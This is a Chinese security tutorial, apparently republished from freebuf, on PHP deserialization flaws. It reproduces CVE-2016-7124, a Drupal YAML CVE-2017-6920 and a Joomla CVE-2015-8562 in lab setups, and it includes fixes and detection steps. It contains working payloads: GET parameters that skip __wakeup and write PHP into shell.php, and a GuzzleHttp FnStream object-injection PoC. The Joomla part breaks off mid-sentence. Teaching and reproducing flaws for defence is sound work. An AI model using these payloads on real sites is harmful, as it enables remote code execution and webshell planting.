PHP反序列化漏洞的原理及复现 – 作者:winhex

PHP反序列化漏洞的原理及复现

本文总结了PHP反序列漏洞的基本原理,并复现了CVE-2016-7124、CVE-2017-6920、CVE-2015-8562、WooYun-2016-199433这几个经典漏洞。

本文仅供学习用途,转载请说明出处。

未经允许,严禁商用转载。商业用途请私信付稿费。

0x00 参考文献

PHP反序列化漏洞简介及相关技巧小结

实战经验丨PHP反序列化漏洞总结

0x01 原理

php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。

序列化

序列化的目的是方便数据的传输和存储。

在PHP应用中,序列化和反序列化一般用作缓存,比如session缓存,cookie等。

常见的序列化格式:

二进制格式

字节数组

json字符串

xml字符串

<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
var_dump(serialize($test));
?>

输出结果为:

C:\phpstudy_pro\WWW\s1.php:11:string 'O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"�*�b";s:5:"ThisB";s:7:"�Test�c";s:5:"ThisC";}' (length=84)

实际的序列化字符串为

:O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"�*�b";s:5:"ThisB";s:7:"�Test�c";s:5:"ThisC";}

对象序列化后的结构为:

O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

可以得知,序列化之后的结果是字符串string。

Test是一个类,new Test()表示创建Test类的对象。

O表示对象,4表示类的名称有4个字符,Test是类名称。

3表示对象中有3个成员变量。括号里面是每个成员的类型、名称、值。

变量名和变量值之间以分号分隔。

a是public类型的变量,s表示字符串,1表示变量名的长度,a是变量名。

b是protected类型的变量,它的变量名长度为4,也就是b前添加了%00*%00。所以,protected属性的表示方式是在变量名前加上%00*%00

c是private类型的变量,c的变量名前添加了%00类名%00。所以,private属性的表示方式是在变量名前加上%00类名%00

虽然Test类中有test1方法,但是,序列化得到的字符串中,只保存了公有变量a,保护变量b和私有变量c,并没保存类中的方法。也可以看出,序列化不保存方法。

反序列化

<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>

输出内容如下:

C:\phpstudy_pro\WWW\s2.php:13:
object(Test)[2]
public 'a' => string 'ThisA' (length=5)
protected 'b' => string 'ThisB' (length=5)
private 'c' => string 'ThisC' (length=5)

类的成员变量被还原了,但是类的方法没有被还原。因为序列化的时候就没有保存类的方法。

PHP反序列化漏洞中可能会用到的魔术方法

php类可能会包含魔术方法,魔术方法命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用。
__construct():具有构造函数的类会在每次创建新对象时先调用此方法。

__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

__toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。

此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

__sleep()方法在一个对象被序列化之前调用;

__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。
__construct() # 当对象被创建时调用
__destruct() # 当对象被销毁时调用
__toString() # 当对象被当做字符串使用
__sleep() # 在对象被序列化之前调用
__wakeup() # 在对象被反序列化之前调用
<?php
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
return 'str';
}
public function __sleep(){
echo 'sleep run';
return array();
}
public function __wakeup(){
echo 'wakeup run';
}
}

echo '<br>new了一个对象,对象被创建,执行__construct</br>';
$test = new Test();

echo '<br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
$sTest = serialize($test);

echo '<br>__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。</br>';
$usTest = unserialize($sTest);

echo '<br>把Test对象当做字符串使用,执行__toString</br>';
$string = 'use Test obj as str '.$test;

echo '<br>程序执行完毕,对象自动销毁,执行__destruct</br>';

?>
new了一个对象,对象被创建,执行__construct
construct run
serialize了一个对象,对象被序列化,先执行__sleep,再序列化
sleep run
__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。
wakeup run
把Test对象当做字符串使用,执行__toString
toString run
程序执行完毕,对象自动销毁,执行__destruct
destruct rundestruct run

现在5个魔法函数的执行顺序就明确了。

对象被创建时执行__construct

使用serialize()序列化对象。先执行__sleep,再序列化。

unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup()方法,预先准备对象需要的资源。

把对象当做字符串使用,比如将对象与字符串进行拼接,或者使用echo输出对象,会执行__toString

程序运行完毕,对象自动销毁,执行__destruct

安全问题

如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法函数。unserialize的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等。

PHP反序列漏洞的防御方法

不允许用户控制unserialize函数的参数

0x02 实例讲解

一、CVE-2016-7124

影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

__destruct  # 当对象被销毁时调用
__wakeup # 在对象被反序列化之前调用

漏洞示例代码如下:

<?php
class A{
var $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("C:\\phpstudy_pro\\WWW\\unserialize\\shell.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}

$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "shell.php<br/>";
include(".\shell.php");
?>

获取序列化字符串的脚本如下:

<?php
class A{
var $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

正常的序列化字符串为:O:1:"A":1:{s:6:"target";s:4:"test";}。注意:这里target变量的值是test,长度为4。当我们修改target变量的值时,对应的,也要将值的长度进行修改。

在线计算字符串长度

程序从GET请求中获取test参数的值,然后将test参数进行反序列化。

?test=O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}

代码正常的执行逻辑,应该是:unserialize( )会检查是否存在一个_wakeup( )方法。本例中存在,则会先调用_wakeup()方法,预先将对象中的target属性赋值为”wakeup!”。注意,不管用户传入的序列化字符串中的target属性为何值,__wakeup()都会把$target的值重置为”wakeup!”。最后程序运行结束,对象被销毁,调用__destruct()方法,将target变量的值写入文件shell.php中。这样shell.php文件中的内容就是字符串”wakeup”。

1615547248_604b4b708c750fca75b9d.png!small?1615547250136

对象序列化后的结构为:O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。构造如下对象作为payload:

?test=O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

这里真实属性个数是1,只有1个target属性。我们在构造序列化字符串时,将表示对象属性个数的值写成任何大于1的整数,就可以跳过__wakeup()的执行。现在,程序执行的逻辑变为:直接使用unserialize()函数将用户传递的参数进行反序列化。程序执行结束,对象被销毁,调用__destruct()方法,将target变量的值写入文件shell.php中。而target变量的值就是我们用户构造的phpinfo()函数,成功getshell。

1615547264_604b4b800e5f4d7b09a57.png!small?1615547264559

注意,如果要序列化protected类型的属性,需要在变量名前加上%00*%00。序列化private类型的属性,需要在变量名前加上%00类名%00

<?php
class A{
protected $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

得到的序列化字符串为:

O:1:"A":1:{s:9:"�*�target";s:4:"test";}

构造的payload为:

?test=O:1:"A":2:{s:9:"%00*%00target";s:18:"<?php phpinfo();?>";}
<?php
class A{
private $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

得到的序列化字符串为:

O:1:"A":1:{s:9:"�A�target";s:4:"test";}

构造的payload为:

?test=O:1:"A":2:{s:9:"%00A%00target";s:18:"<?php phpinfo();?>";}

二、CVE-2017-6920:Drupal远程代码执行漏洞

Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造

本例子代码审计中分析反序列化漏洞的方法

通过diff有漏洞的版本和漏洞修复的版本,发现漏洞的触发点。

在漏洞所在函数的触发点代码中,通过阅读官方文档,找到外部可控的参数,明确漏洞的触发原理。

定位漏洞所在函数的调用位置,如果该函数还调用了其它函数,继续跟踪其它函数。

最后定位外部可控的输入点。找到漏洞的数据触发点。

要利用该漏洞进行远程代码执行,需要一个可以利用的类。如有应用程序使用命名空间的方式来管理类,可以全局实例化一个类,也可以反序列化一个类;该漏洞利用了反序列化,因此需要找一个反序列类。通过__destruct以及__wakeup来定位类,全局搜索可以找到几个可利用的类。

通过反序列化这些类,可以造成任意文件删除、写入webshell、任意无参数函数执行等危害。

漏洞描述

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

漏洞验证

漏洞环境

执行如下命令启动 drupal 8.3.0 的环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

先安装yaml扩展

# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER

1.登录一个管理员账号

2.访问 http://127.0.0.1:8080/admin/config/development/configuration/single/import

3.如下图所示,Configuration type选择Simple configurationConfiguration name任意填写,Paste your configuration here中填写PoC如下:

构造了任意无参数函数的POC

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

1615547289_604b4b9925abf1ab4b981.png!small?1615547289815

4.点击Import后可以看到漏洞触发成功,弹出phpinfo页面。

1615547300_604b4ba4333f2d1d5b135.png!small?1615547300723

1615547307_604b4babf1b1baf47c0e2.png!small?1615547308521

漏洞修复

最新发布的Drupal 8.3.4 已经修复了该漏洞,针对低于8.3.4的版本也可以通过升级Drupal文件/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函数进行防御

public static function decode($raw) {
# =========新增代码部分开始==================================================  
static $init;
if (!isset($init)) {
// We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
# =========新增代码部分结束==================================================  
// yaml_parse() will error with an empty value.
if (!trim($raw)) {
return NULL;
}
......
}

漏洞检测

针对该漏洞,可采用两种方法进行检测:

方法一:登陆Drupal管理后台,查看内核版本是8.x,且版本号低于8.3.4,则存在该漏洞;否则,不存在该漏洞;

登录一个管理员账号后,http://127.0.0.1:8080/admin/reports/updates,当前内核版本为8.3.0

1615547319_604b4bb75bd1cf41c89f3.png!small?1615547319884

方法二:在Drupal根目录下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函数public static function decode($raw),如果该函数代码不包含" ini_set('yaml.decode_php', 0);"调用,则存在该漏洞;否则,不存在该漏洞。

root@a3aafd8a0fc8:/var/www/html/core/lib/Drupal/Component/Serialization# cat YamlPecl.php | grep "decode" -A 10

1615547329_604b4bc1230dc0497c2c0.png!small?16155473296161615547340_604b4bccf0ed5908d9580.png!small?1615547341466

三、 Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

漏洞环境:Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

参考文献:Joomla远程代码执行漏洞分析(总结)

简介

本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

通过Joomla中的Gadget,可造成任意代码执行的结果。

影响版本

Joomla 1.5.x, 2.x, and 3.x before 3.4.6

PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

漏洞点——反序列化session

这个漏洞存在于反序列化session的过程中。漏洞存在于libraries/joomla/session/session.php_validate函数,将User-AgentX_FORWARDED_FOR调用set方法设置到了session中。最终,它们会被保存到数据库的session表中。

利用|字符伪造,控制整个反序列化字符串

joomla也没有采用php自带的session处理机制,而是用多种方式(包括database、memcache等)自己编写了存储session的容器(storage)。其存储格式为『键名 + 竖线 + 经过 serialize() 函数反序列处理的值』,其未正确处理多个竖线的情况。那么,我们这里就可以通过注入一个|符号,将它前面的部分全部认为是name,而|后面我就可以插入任意serialize字符串,构造反序列化漏洞了。但还有一个问题,在我们构造好的反序列化字符串后面,还有它原本的内容,必须要截断。在插入数据库的时候利用”

来源:freebuf.com 2021-03-12 19:23:49 by: winhex

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论